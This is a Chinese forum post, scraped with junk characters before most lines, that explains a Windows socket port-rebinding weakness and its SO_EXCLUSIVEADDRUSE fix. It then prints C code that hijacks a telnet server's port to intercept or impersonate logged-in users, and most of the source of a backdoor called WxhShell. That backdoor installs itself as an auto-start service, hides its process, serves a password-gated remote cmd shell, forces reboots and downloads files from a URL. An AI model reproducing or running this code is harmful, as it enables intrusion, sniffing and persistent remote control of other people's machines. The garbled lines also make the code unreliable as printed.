在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qM
Qu!%o s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0Nk!.gY !-SI &qy saddr.sin_family = AF_INET;
?caHS2%?ae _x$Eq:
i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6I_4{ cV`NQt <W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
v$;URF%^ a7b1c! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
DbR!s1ux
<ZO+e*4 这意味着什么?意味着可以进行如下的攻击:
:UKc:JVNM 6 RSit 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ZRr.kN+F YoQQ , 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
mZ?QtyljT vQoZk, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
931GJA~g o~xGE 6A*" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
d?/g5[ J-klpr# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
x],XiSyp BoARM{m 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
80gOh: r#}o
+3* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=
~*Vfx u<Ch]m+ #include
&I{5f-o* #include
"-IF_Hid #include
.%0a #include
64'sJc. DWORD WINAPI ClientThread(LPVOID lpParam);
7^#O{QYol int main()
(\
|Go-2G {
cxPO O# WORD wVersionRequested;
mgq4g DWORD ret;
tC=K;zsXpz WSADATA wsaData;
{?mb.~( BOOL val;
QPFv]^s( SOCKADDR_IN saddr;
uE%2kB*] SOCKADDR_IN scaddr;
7D~~<45ct int err;
#rz!d/)Q SOCKET s;
!Ap*PL SOCKET sc;
Z#kB+.U int caddsize;
G;pc,\MF HANDLE mt;
PVQn$-aq1 DWORD tid;
F+D
e"^As wVersionRequested = MAKEWORD( 2, 2 );
e!k4Ij-] err = WSAStartup( wVersionRequested, &wsaData );
M,r8 No if ( err != 0 ) {
u@Z6)r' printf("error!WSAStartup failed!\n");
G]Im.x3O- return -1;
tp\d:4~R }
hfvC-f97L saddr.sin_family = AF_INET;
au+:-Khm fNrpYR X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Psf{~ (Ii zCS }i_ p saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
lm{4x~y$h saddr.sin_port = htons(23);
VEL!-e^X& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3r?T|>| {
.\
vrBf printf("error!socket failed!\n");
K'K/}q< return -1;
LF:~&
m }
G}]'}FUp val = TRUE;
[xdVuL;N //SO_REUSEADDR选项就是可以实现端口重绑定的
+mO/9m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9`&sZ|"3 {
"SC]G22 printf("error!setsockopt failed!\n");
1:{+{Yl7 return -1;
ZlQ&m }
+ =U9<8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
,o3`O |PiK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
aCfWbJ@qiG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
M~9IL\J^G SEM-t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Pn?gB}l {
vXak5iq>X ret=GetLastError();
{s2eOL5I|% printf("error!bind failed!\n");
zRR^v&.9K return -1;
ki?V
eFp }
!|J2o8g listen(s,2);
1l.HQ IS while(1)
-(#`JT8 {
4Le{|B caddsize = sizeof(scaddr);
qzu(4*Gk6 //接受连接请求
3)(uC+?[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7G Jhc if(sc!=INVALID_SOCKET)
H.tfn>N| {
0^d<@\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|g<l|lqz| if(mt==NULL)
R0q|{5S {
[a#*%H{OC printf("Thread Creat Failed!\n");
C5X!H_p break;
Kj-zEl }
&mba{O }
|Fx~M,Pzg CloseHandle(mt);
1b2xWzpG }
Xw162/:h closesocket(s);
N=@8~{V. WSACleanup();
3Z}KRsp3 return 0;
PoRP]Q*n }
4`?WdCW8 DWORD WINAPI ClientThread(LPVOID lpParam)
:{-/b {
anH ]] SOCKET ss = (SOCKET)lpParam;
Zo Ra^o SOCKET sc;
hXc:y0
0 unsigned char buf[4096];
"(p&Oz SOCKADDR_IN saddr;
fz+dOIU3\L long num;
)qD V3 DWORD val;
<II>io; DWORD ret;
fV!~SX6S //如果是隐藏端口应用的话,可以在此处加一些判断
?]_A~_J! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
- G=doP0 saddr.sin_family = AF_INET;
7Ewq'Vu`y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
zRm@ |IT saddr.sin_port = htons(23);
* YLpC^& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w6AG:u {
xr^fP~V|)0 printf("error!socket failed!\n");
(w%9?y4Q return -1;
gjB(Pwx }
@M(+YCi:e@ val = 100;
~yY5pnJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{w v{"*Q9Q {
UrdSo"% ret = GetLastError();
ERfSJ return -1;
X9YbTN }
;jmT5XzL if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#*"I?B/fd8 {
8HWEObRY ret = GetLastError();
V~QOl=`K: return -1;
\"+}-!wr }
e8)8QmB{o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&/)To {
tG0
&0` printf("error!socket connect failed!\n");
VB=jKMi closesocket(sc);
*nHkK!d<N closesocket(ss);
fs,>X!l+ return -1;
N1dM,H }
d.y-R#F_] while(1)
0E^S!A7 {
A/~^4DR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
r3~YGY //如果是嗅探内容的话,可以再此处进行内容分析和记录
Nbt.y 'd //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)24
1-b V num = recv(ss,buf,4096,0);
.R&jRtb/E if(num>0)
"]yfx@)_ send(sc,buf,num,0);
`Oe}OSxnT else if(num==0)
9y;zk$O8 break;
S"R(6:hkgu num = recv(sc,buf,4096,0);
9gETWz(3I if(num>0)
A3Vj3em send(ss,buf,num,0);
-8sB\E else if(num==0)
gzp]hh@4 break;
GAlM:> }
b2hXFwPe closesocket(ss);
lkb,UL;V closesocket(sc);
8q|T`ac+N return 0 ;
|p*s:*TJp }
9@YhAj b5l;bXp] -K0!wrKC ==========================================================
P5Pb2|\* Y58et9gRO 下边附上一个代码,,WXhSHELL
f}Uf*Bp (q=),3/<pU ==========================================================
ov|pXi<e WCg&* #include "stdafx.h"
fh9w5hT={ dz)(~@tgz #include <stdio.h>
#$,b )Uy #include <string.h>
=m?x5G^ #include <windows.h>
Vd A!tL #include <winsock2.h>
CD)JCv #include <winsvc.h>
{br6* #include <urlmon.h>
P:m6:F@hO OsgjSJrf #pragma comment (lib, "Ws2_32.lib")
#9q
]jjH E #pragma comment (lib, "urlmon.lib")
] U.*KkQ 1m<8M[6u #define MAX_USER 100 // 最大客户端连接数
DP!~WkU~ #define BUF_SOCK 200 // sock buffer
2h`Tn{&1/ #define KEY_BUFF 255 // 输入 buffer
--F6n/> ZP"Xn/L #define REBOOT 0 // 重启
qyR}|<F8* #define SHUTDOWN 1 // 关机
J|DY
/v _k Utj(re #define DEF_PORT 5000 // 监听端口
KKNQ+'? nRheByYm #define REG_LEN 16 // 注册表键长度
vFi+ExBU #define SVC_LEN 80 // NT服务名长度
$u::(s}
x< mN1n/LNi // 从dll定义API
'~AR|8q? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
hfRxZ>O2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0!q@b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yjIA`5^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
IkgRZ{Y x\K,@ // wxhshell配置信息
|6b&khAM struct WSCFG {
{,e-;2q int ws_port; // 监听端口
VH<-||X/4 char ws_passstr[REG_LEN]; // 口令
.c\iKc# int ws_autoins; // 安装标记, 1=yes 0=no
$)VnHr `hy char ws_regname[REG_LEN]; // 注册表键名
uS5ADh char ws_svcname[REG_LEN]; // 服务名
WL}XD
Kx char ws_svcdisp[SVC_LEN]; // 服务显示名
B<&g char ws_svcdesc[SVC_LEN]; // 服务描述信息
=v=u+nO char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e}TDo`q int ws_downexe; // 下载执行标记, 1=yes 0=no
T}Ve:S char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Up\ k67 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+*x9$LSD WO[O0!X };
Nt7z
]F ` Uh3N#O // default Wxhshell configuration
6-f-/$B struct WSCFG wscfg={DEF_PORT,
,7SqRY,+ "xuhuanlingzhe",
X1^Q1?0 1,
!PJp() "Wxhshell",
sv+6# "Wxhshell",
C{]1+eL "WxhShell Service",
KDLrt "Wrsky Windows CmdShell Service",
1i@a? 27| "Please Input Your Password: ",
#F'8vf'r 1,
yMJ(Sf "
http://www.wrsky.com/wxhshell.exe",
=!DpW VsQ "Wxhshell.exe"
4,?WNPqo };
\-r"%@OkW @81N{tg- // 消息定义模块
* 5(%'3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
TPNKvv!s char *msg_ws_prompt="\n\r? for help\n\r#>";
ma@!"Z8S
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
JHg
y&/ char *msg_ws_ext="\n\rExit.";
[rReBgV char *msg_ws_end="\n\rQuit.";
\/R $p char *msg_ws_boot="\n\rReboot...";
'j\mz5#s char *msg_ws_poff="\n\rShutdown...";
DJ|lel/' char *msg_ws_down="\n\rSave to ";
=!IoL7x S#S&_#$`,X char *msg_ws_err="\n\rErr!";
mi@ni+2Tn char *msg_ws_ok="\n\rOK!";
k;jXVa _Oy;:XN char ExeFile[MAX_PATH];
N, 4hh? int nUser = 0;
-v$ q8_$m" HANDLE handles[MAX_USER];
#hXxrN int OsIsNt;
R_Z9aQ ,n&Lp SERVICE_STATUS serviceStatus;
nRs:^Q~o SERVICE_STATUS_HANDLE hServiceStatusHandle;
M[ ON2P; aq- | // 函数声明
x pBQ(6Y int Install(void);
Y-~MkB int Uninstall(void);
L$v<t/W int DownloadFile(char *sURL, SOCKET wsh);
bmO(tQS$5 int Boot(int flag);
L)"CE]. void HideProc(void);
j8;Uny9 int GetOsVer(void);
X}`39r. int Wxhshell(SOCKET wsl);
z[0tM&pv void TalkWithClient(void *cs);
yacN=]SW5 int CmdShell(SOCKET sock);
u=7#_ZC9L int StartFromService(void);
ff
6x4t int StartWxhshell(LPSTR lpCmdLine);
&!B4v<#, U ba^/Ar(B VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\6%`)p VOID WINAPI NTServiceHandler( DWORD fdwControl );
|mT1\O2a M"yOWD~s~ // 数据结构和表定义
o,{]<Sm SERVICE_TABLE_ENTRY DispatchTable[] =
me$nP}%C& {
'u6n,yRm {wscfg.ws_svcname, NTServiceMain},
a&u!KAQ {NULL, NULL}
%uvA3N> };
B(Er/\-@U ]U,m
1 // 自我安装
F12$BKDH int Install(void)
Jv?EV,S/e {
.TNGiUzG char svExeFile[MAX_PATH];
?nZe.z-%6 HKEY key;
gnw">H strcpy(svExeFile,ExeFile);
~bz$] o-< 9K-,#a // 如果是win9x系统,修改注册表设为自启动
uobQS! if(!OsIsNt) {
sW76RKX8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
|\W~+}'g~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
fpJ%{z2 RegCloseKey(key);
$3*y)Ny^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+3Z+#nGtk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+%Z:k RegCloseKey(key);
z=Xh return 0;
}yw>d\] f }
mSGpxZ,IE }
*0'< DnGW }
3 6t^iV*3 else {
BDLJDyf B `W.g1"o8W4 // 如果是NT以上系统,安装为系统服务
QWE\Ud.q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2?:'p[z"] if (schSCManager!=0)
i!iG7X)qT {
"bz]5c~ SC_HANDLE schService = CreateService
c-U]3`;Q (
e@iz`~[ schSCManager,
V>c !V9w wscfg.ws_svcname,
J+}z*/)|# wscfg.ws_svcdisp,
8Yo;oHk7 SERVICE_ALL_ACCESS,
MeV*]* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B qLL]%F SERVICE_AUTO_START,
@U9`V&])F[ SERVICE_ERROR_NORMAL,
dFmpx%+p svExeFile,
wQa,ol_p NULL,
Y7;=\/SV NULL,
G!lF5;Ad` NULL,
a*uG^~
). NULL,
1\nzfxx NULL
O`T_'.Lk );
^fmuBe}d{ if (schService!=0)
$i1:--~2\ {
Z+=-)&L CloseServiceHandle(schService);
$:&b5=i CloseServiceHandle(schSCManager);
ElK Md strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vOv"^X strcat(svExeFile,wscfg.ws_svcname);
#/HZ[Vw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Q:Ma3El\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
tJmy}.t1 RegCloseKey(key);
uvJ&qd8M return 0;
dA <_`GFR }
JL>DRIR%NV }
00@F?|-j CloseServiceHandle(schSCManager);
=sF4H_B }
r_kaS
als }
f,ZJFb98 .o]9
HbIk5 return 1;
6C\WX(@4 }
dx+xs& (-`PO]e48 // 自我卸载
=`UFg>- int Uninstall(void)
}aQ*1V cj {
[Y
j:H HKEY key;
HDaeJk 6C/Pu!Sx? if(!OsIsNt) {
oTrit_@3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mP's4 RegDeleteValue(key,wscfg.ws_regname);
BqUwvB4 RegCloseKey(key);
b_7LSp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A4Q{(z-? RegDeleteValue(key,wscfg.ws_regname);
5rmQ:8_5 RegCloseKey(key);
0.2stBw return 0;
{rn^ }
N-q6_ }
<p-@XzyE }
db&!t!#, else {
GMB3`&qh |*M07Hc x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
GVfRy@7n if (schSCManager!=0)
VTY # { {
1.TIUH1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
&Pc.[k if (schService!=0)
Z#D*HAd` {
(:\L@j if(DeleteService(schService)!=0) {
?*ZQ:jH CloseServiceHandle(schService);
3Tp8t6*nL CloseServiceHandle(schSCManager);
<N>7.G return 0;
g_Rp}6g }
DLD9 CloseServiceHandle(schService);
{Ppb ; }
%~kE,^ CloseServiceHandle(schSCManager);
YY(_g|;?8 }
9c[bhGD? }
53d`+an2 Cl3L)
return 1;
Br.UN~q }
MZxU)QW1 '=xO?2U-Z // 从指定url下载文件
72_+ b int DownloadFile(char *sURL, SOCKET wsh)
,Q.[Lc=w {
,H8M.hbsQ HRESULT hr;
b80&${v char seps[]= "/";
|o*qZ}6 char *token;
.v+W> char *file;
dBS_N/ char myURL[MAX_PATH];
a .?AniB0 char myFILE[MAX_PATH];
_+H $Pa}? YB!f =_8 strcpy(myURL,sURL);
W\mgM2p token=strtok(myURL,seps);
0)7v_|z while(token!=NULL)
4mtO"'| {
?$uEN_1O\@ file=token;
rixVIfVF token=strtok(NULL,seps);
uH,/S4?X }
R(,m! 4'`H H GetCurrentDirectory(MAX_PATH,myFILE);
(`4&Y- strcat(myFILE, "\\");
L3'isaz&^ strcat(myFILE, file);
WFhppi send(wsh,myFILE,strlen(myFILE),0);
9W_mSum send(wsh,"...",3,0);
qnnRS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
94|ZY}8|f if(hr==S_OK)
W]_a_5 return 0;
BUV4L5( else
vK+!m~kDu return 1;
QDVSFGwr X.FoX }
aQf2}kD lQ4^I^?m // 系统电源模块
Sw$/Z)1K& int Boot(int flag)
+$xw0)| {
7i'clB9! HANDLE hToken;
)s4:&! TOKEN_PRIVILEGES tkp;
N}<!k#d
E ~4Mz:h^ if(OsIsNt) {
g0 ;;+z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
U2tgBF?)A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
r`.Bj0 tkp.PrivilegeCount = 1;
j]`hy" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~D`R"vzw= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
uFhPNR2l if(flag==REBOOT) {
"%S-(ue: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
VUP.
\Vry return 0;
VS_\bIC }
q?)5yukeF else {
TU6YS< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
J><hrZ return 0;
x]?V*Jz }
<eP,/H }
Uovna:" else {
3Zs0W{OxU if(flag==REBOOT) {
X+<9-]= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9`5.0** return 0;
Ktvs*.? }
;]=@;? 9 else {
q[}re2 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
r'_#rl return 0;
[;4ak)! }
"}ur"bU1 }
gB+CM?
LKq ygX!'evY return 1;
,,6lQ]wG }
1vCp<D9< HZS.%+2 // win9x进程隐藏模块
$G9E=wn void HideProc(void)
d{) =E8wE {
&B=z*m 'J!Gip , HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
yB=R7E7 if ( hKernel != NULL )
2n2,MB {
'MB+cz+v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
N~or.i&a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
odJE~\\hw FreeLibrary(hKernel);
9&<c)sS&B }
B<h4ZK% ,?Vxcr return;
+u t%C.1
}
pU,\ &3N !=yO72dgLY // 获取操作系统版本
T nyLVIP int GetOsVer(void)
dVGcth;
{
Z=%u:K}[ OSVERSIONINFO winfo;
'%:E4oI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1rU\ !GfR GetVersionEx(&winfo);
M195[] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
TaKHr$h return 1;
.L^;aL else
eI|~neh return 0;
YnDaBpx }
MrOtsX ^L
Xr4 // 客户端句柄模块
D62'bFB^ int Wxhshell(SOCKET wsl)
N"Y%*BkH {
f(K1,L:&7 SOCKET wsh;
;ByCtVm2 struct sockaddr_in client;
#q9BU: DWORD myID;
E%stFyr9`/ Do^yer~ while(nUser<MAX_USER)
-xJ\/"A {
upJy,|5 int nSize=sizeof(client);
}v?l0Gk( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%?qzP' if(wsh==INVALID_SOCKET) return 1;
E)X_ #>BC|/P} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T2mZkK?rA if(handles[nUser]==0)
NcX-*o closesocket(wsh);
,'l.u?SKyd else
(4`Tf*5hHa nUser++;
I/v#!`L }
-(}N-yu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
W&Xi&[Ux 5"q{b1 return 0;
KpS=oFX{} }
YxA nh R_Bf JD. // 关闭 socket
]#q$i[Y void CloseIt(SOCKET wsh)
?o/p}6 {
4xFAFK~lx closesocket(wsh);
@:!% Z` nUser--;
mt e3k=17 ExitThread(0);
,c;#~y }
qPhVc9D# AO5a // 客户端请求句柄
5VfpeA` void TalkWithClient(void *cs)
y4!fu<[i {
o5Knot)Oy [r'hX# SOCKET wsh=(SOCKET)cs;
x0TE+rf5 char pwd[SVC_LEN];
Gt !Hm( char cmd[KEY_BUFF];
: B1
"=ly char chr[1];
Th~pju int i,j;
(ueH@A"9; }JT&lyO< b while (nUser < MAX_USER) {
pBQ[lPCY/ F1`mq2^@ if(wscfg.ws_passstr) {
X&K,,C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+ZBj_Vw*| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R~N%sn //ZeroMemory(pwd,KEY_BUFF);
: R8+jO i=0;
y92<(ziaX) while(i<SVC_LEN) {
)oS~ish d{C8}U // 设置超时
U2JxzHXZ fd_set FdRead;
R/^;,. struct timeval TimeOut;
Ja@?.gW FD_ZERO(&FdRead);
C|QJQ@bj0
FD_SET(wsh,&FdRead);
:+ "JPF4X TimeOut.tv_sec=8;
A+3=OBpkW0 TimeOut.tv_usec=0;
2"Y=*s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1fF\k#BE-% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;{n*F=%uC G0ENk|wbbj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!A_KCM:Ym pwd
=chr[0]; 2b:I.
if(chr[0]==0xd || chr[0]==0xa) { mFIIqkUAL
pwd=0; 8mX:*$qm:
break; V<REcII.
} Z \-
i++; _g"su#
} b|`
uQWd`7
// 如果是非法用户,关闭 socket ^^)\|kW?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gti=GmL(L
} $ g#d1u0q
ZPY84)A_}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e9B$"_ &2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !|Y&h0e
?
5hwz
while(1) { "n<u(m8E
'FN3r
ZeroMemory(cmd,KEY_BUFF); r8L'C
B#4 J![BX
// 自动支持客户端 telnet标准 e}L(tXZ
j=0; ;[Hrpl
S
while(j<KEY_BUFF) { R"PO@v
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q@UY4gA'
cmd[j]=chr[0]; 9893{}\cB
if(chr[0]==0xa || chr[0]==0xd) { +T7FG_
cmd[j]=0; 89A04HX
break; Szlww
} _LZ 442
j++; NMP*q
@
} /bqJ6$
@(rLn
// 下载文件 rX&?Xi1JeV
if(strstr(cmd,"http://")) { aK9zw
send(wsh,msg_ws_down,strlen(msg_ws_down),0); MK4CggoC
if(DownloadFile(cmd,wsh)) ' }NH$ KA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c-a;nAR
else %M05& <
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {|@N~c+
} 8L(KdDY
else { S'vUxOAo
HSk}09GV
switch(cmd[0]) { .ZH5^Sv$vp
:.\h.H;
// 帮助 GJuU?h#:/{
case '?': { ;V1e>?3
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sk`RaDq@;
break; rB5+~
K@
} lnnt b3q
// 安装 ~9+\
case 'i': { k+cHx799
if(Install()) cGjkx3l*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YA^g[,
else ,[Z;"wE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `#N7ym;s@
break; a^&3?3
} ia/_61%
// 卸载 {{_,YO^w
case 'r': { 4:v{\R
if(Uninstall()) h'G8@j;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\G\KASUK%
else %AuS8'Uf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iD9hqiX&
break; n
6|\
} T?FR@.
Rm
// 显示 wxhshell 所在路径 n?A;'\cK
case 'p': {
6@ )bZ|
char svExeFile[MAX_PATH]; aA.TlG@zP
strcpy(svExeFile,"\n\r"); y<5xlN(+v
strcat(svExeFile,ExeFile); uM~j
send(wsh,svExeFile,strlen(svExeFile),0); .](s\6'
break; h9J
} v|mZcAz
// 重启 c}FZb$q#
case 'b': { Yt;.Z$i ,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PK*
$
if(Boot(REBOOT)) b%,`;hy{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -f:uNF]Ls
else { l=JK+uZ
closesocket(wsh); Zx]"2U#
ExitThread(0); OC[(Eq
} 2]*2b{gF,
break; yS-owtVCGF
} `_v|O{DC{
// 关机 ^UK6q2[
case 'd': { x_5H_! \#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ];go?.*C
if(Boot(SHUTDOWN)) 5 ERycC y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C zvi':
else { WChJ
<[]W
closesocket(wsh); <kmn3w,vi
ExitThread(0); w~g)Dz2G
} `4 A%BKYB
break; KmkPq]
} ),)]gw71QW
// 获取shell [e'Ts#($A
case 's': { f/qG:yTV`
CmdShell(wsh); Sf\mg4,
closesocket(wsh); +d736lLe%
ExitThread(0); Sc*O_c3D
break; Rj=xn(@d
} qzqv-{.h
// 退出 &u_f:Pog
case 'x': { 6]^}GyM!
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l8hOr yB&
CloseIt(wsh); [?hc.COE
break; o3l_&?^
} 6F3#Rxh
// 离开 3l 0>
case 'q': { $9\!CPZ2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Eg>)
closesocket(wsh); @vaK-&|#$
WSACleanup(); Vj"B#
exit(1); v}ZQC8wL
break; eg-,;X#
} K/jC>4/c/
} {@oYMO~
} kGMI
?
7PZ0
// 提示信息 rr#&0`]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Khxl'qj
} ALiXT8q
} \5Jpr'mY5
DxT8;`I%
return; gX34'<Z
} n-{G19?
p/xxoU
// shell模块句柄 Nq)=E[$
int CmdShell(SOCKET sock) n||/3-HDj
{ 70L{u+wIy
STARTUPINFO si; </|IgN$w`
ZeroMemory(&si,sizeof(si)); *O|Z[>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Llk4 =p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R;f!s/^)
PROCESS_INFORMATION ProcessInfo; cSBYC_LU
char cmdline[]="cmd"; |[?"$g9v
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ".eD&oX{
return 0; Z*QsDS
} nJ4i[j8
Qsc%qt-l
// 自身启动模式 /4]M*ls
int StartFromService(void) 40oRO0p
{ m-UI^M,@<
typedef struct nqt;Ge
M
{ &V[m{.
DWORD ExitStatus; q7C>A`w
DWORD PebBaseAddress; XU .FLNe
DWORD AffinityMask;
WLEjRx
DWORD BasePriority; uHUicZf.
ULONG UniqueProcessId; V7!x-E/
ULONG InheritedFromUniqueProcessId; C9U~lcIS
